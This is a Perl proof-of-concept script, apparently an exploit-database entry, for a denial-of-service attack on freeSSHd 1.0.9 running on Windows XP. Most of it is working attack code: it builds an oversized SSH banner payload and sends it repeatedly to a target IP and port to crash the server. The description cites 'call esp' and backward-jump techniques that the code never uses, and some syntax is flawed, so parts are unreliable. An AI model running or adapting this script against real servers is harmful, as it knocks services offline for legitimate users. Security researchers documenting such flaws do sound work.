#!/usr/bin/perl

use IO::Socket;

Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 13 january 2024

Vendor Homepage: N/A

Download to demo:

Notification vendor: No reported

Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo:

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The SSH does not correctly handle the amount of data or bytes sent.
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $bufff =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;

my $payload =  
  "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .  
  "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .  
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);

$payload .= $payload;  
$payload .= "C" x 19021 . "\r\n";

my $i=0;
while ($i<=18) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => ‘tcp’
) or die "Cannot connect!\n";

if (<$sock> eq '') {  
print "[+] Done - Exploited success!!!!!\n\n";  
exit;  
}

$sock->send($payload) or die "Exploited successuful!!!";

$i++;
}

 sub intro {  
  print q {

                        _/|       
                       // o\      
                       || ._)    
                       //__\     
                       )___(   

  [+] freeSSHd 1.0.9 - Denied of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}